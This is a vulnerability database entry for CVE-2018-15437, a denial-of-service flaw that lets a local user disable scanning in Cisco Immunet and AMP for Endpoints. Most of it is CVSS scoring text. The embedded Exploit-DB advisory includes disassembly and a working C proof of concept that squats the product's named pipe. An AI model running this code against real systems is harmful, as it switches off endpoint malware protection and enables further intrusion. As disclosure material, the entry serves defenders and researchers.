CVE-2018-15437 : Detail

CVE-2018-15437

5.5
/
Medium
0.29%V3
Local
2018-11-08
17h00 +00:00
2024-11-26
14h22 +00:00
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CVE Descriptions

Cisco Immunet and Cisco AMP for Endpoints System Scan Denial of Service Vulnerability

A vulnerability in the system scanning component of Cisco Immunet and Cisco Advanced Malware Protection (AMP) for Endpoints running on Microsoft Windows could allow a local attacker to disable the scanning functionality of the product. This could allow executable files to be launched on the system without being analyzed for threats. The vulnerability is due to improper process resource handling. An attacker could exploit this vulnerability by gaining local access to a system running Microsoft Windows and protected by Cisco Immunet or Cisco AMP for Endpoints and executing a malicious file. A successful exploit could allow the attacker to prevent the scanning services from functioning properly and ultimately prevent the system from being protected from further intrusion.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45829

Publication date : 2018-11-12 23h00 +00:00
Author : hyp3rlinx
EDB Verified : Yes

/* [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CISCO-IMMUNET-AND-CISCO-AMP-FOR-ENDPOINTS-SYSTEM-SCAN-DENIAL-OF-SERVICE.txt [+] ISR: ApparitionSec ***Greetz: indoushka | Eduardo B.*** [Vendor] www.cisco.com [Multiple Products] Cisco Immunet < v6.2.0 and Cisco AMP For Endpoints v6.2.0 Cisco Immunet is a free, cloud-based, community-driven antivirus application, using the ClamAV and its own engine. The software is complementary with existing antivirus software. Cisco AMP (Advanced Malware Protection) Advanced Malware Protection (AMP) goes beyond point-in-time capabilities and is built to protect organizations before, during, and after an attack. [Vulnerability Type] System Scan Denial of Service [CVE Reference] CVE-2018-15437 Cisco Advisory ID: cisco-sa-20181107-imm-dos Cisco Bug ID: CSCvk70945 Cisco Bug ID: CSCvn05551 CVSS Score: Base 5.5 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H/E:X/RL:X/RC:X [Security Issue] A vulnerability in the system scanning component of Cisco Immunet and Cisco Advanced Malware Protection (AMP) for Endpoints running on Microsoft Windows could allow a local attacker to disable the scanning functionality of the product. This could allow executable files to be launched on the system without being analyzed for threats. The vulnerability is due to improper process resource handling. An attacker could exploit this vulnerability by gaining local access to a system running Microsoft Windows and protected by Cisco Immunet or Cisco AMP for Endpoints and executing a malicious file. A successful exploit could allow the attacker to prevent the scanning services from functioning properly and ultimately prevent the system from being protected from further intrusion. There are no workarounds that address this vulnerability. Issue is due to a NULL DACL (RW Everyone) resulting in a system scan Denial Of Service vulnerability for both of these endpoint protection programs. The affected end user will get pop up warning box when attempting to perform a file or system scan, "You Can Not Scan at This Time "The Immunet service is not running. Please restart the service and retry." Below I provide details to exploit Cisco Immunet, however "Cisco AMP For Endpoints" is also affected so the exploit can easily be ported. [References] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-imm-dos [Vulnerability Details] Pipe is Remote Accessible PIPE_REJECT_REMOTE_CLIENTS not present. FILE_FLAG_FIRST_PIPE_INSTANCE not present. Max Pipe Instances = FF (255) loc_140028140: lea rax, [rbp+57h+pSecurityDescriptor] mov [rbp+57h+SecurityAttributes.nLength], 18h mov edx, 1 ; dwRevision mov [rbp+57h+SecurityAttributes.lpSecurityDescriptor], rax lea rcx, [rbp+57h+pSecurityDescriptor] ; pSecurityDescriptor mov [rbp+57h+SecurityAttributes.bInheritHandle], 1 call cs:InitializeSecurityDescriptor xor r9d, r9d ; bDaclDefaulted lea rcx, [rbp+57h+pSecurityDescriptor] ; pSecurityDescriptor xor r8d, r8d ; pDacl lea edx, [r9+1] ; bDaclPresent call cs:SetSecurityDescriptorDacl mov rcx, [rdi+18h] ; lpName lea rax, [rbp+57h+SecurityAttributes] mov [rsp+100h+lpSecurityAttributes], rax ; lpSecurityAttributes mov edx, 40000003h ; dwOpenMode mov [rsp+100h+nDefaultTimeOut], esi ; nDefaultTimeOut mov r9d, 0FFh ; nMaxInstances mov [rsp+100h+nInBufferSize], 2000h ; nInBufferSize mov r8d, 6 ; dwPipeMode mov [rsp+100h+nOutBufferSize], 2000h ; nOutBufferSize call cs:CreateNamedPipeW mov [rdi+8], rax call cs:GetLastError test eax, eax jz short loc_140028203 [Exploit/POC] "Cisco-Immunet-Exploit.c" */ #include <windows.h> #define pipename "\\\\.\\pipe\\IMMUNET_SCAN" /* Discovered by hyp3rlinx CVE-2018-15437 */ int main(void) { while (TRUE){ HANDLE pipe = CreateNamedPipe(pipename, PIPE_ACCESS_INBOUND | PIPE_ACCESS_OUTBOUND , PIPE_WAIT, 1, 1024, 1024, 120 * 1000, NULL); if (pipe == INVALID_HANDLE_VALUE){ printf("Error: %d", GetLastError()); }else{ printf("%s","pipe created\n"); printf("%x",pipe); } ConnectNamedPipe(pipe, NULL); if(ImpersonateNamedPipeClient(pipe)){ printf("ok!"); }else{ printf("%s%d","WTF",GetLastError()); } CloseHandle(pipe); } return 0; } /* [Network Access] Local / Remote [Severity] High Disclosure Timeline ============================= Vendor Notification: August 7, 2018 Vendor acknowledgement: August 7, 2018 Vendor released fixes: November 7th, 2018 November 8, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx */

Products Mentioned

Configuraton 0

Cisco>>Advanced_malware_protection_for_endpoints >> Version -

Cisco>>Immunet_for_endpoints >> Version -

Microsoft>>Windows >> Version -

References

http://www.securityfocus.com/bid/105867
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/45829/
Tags : exploit, x_refsource_EXPLOIT-DB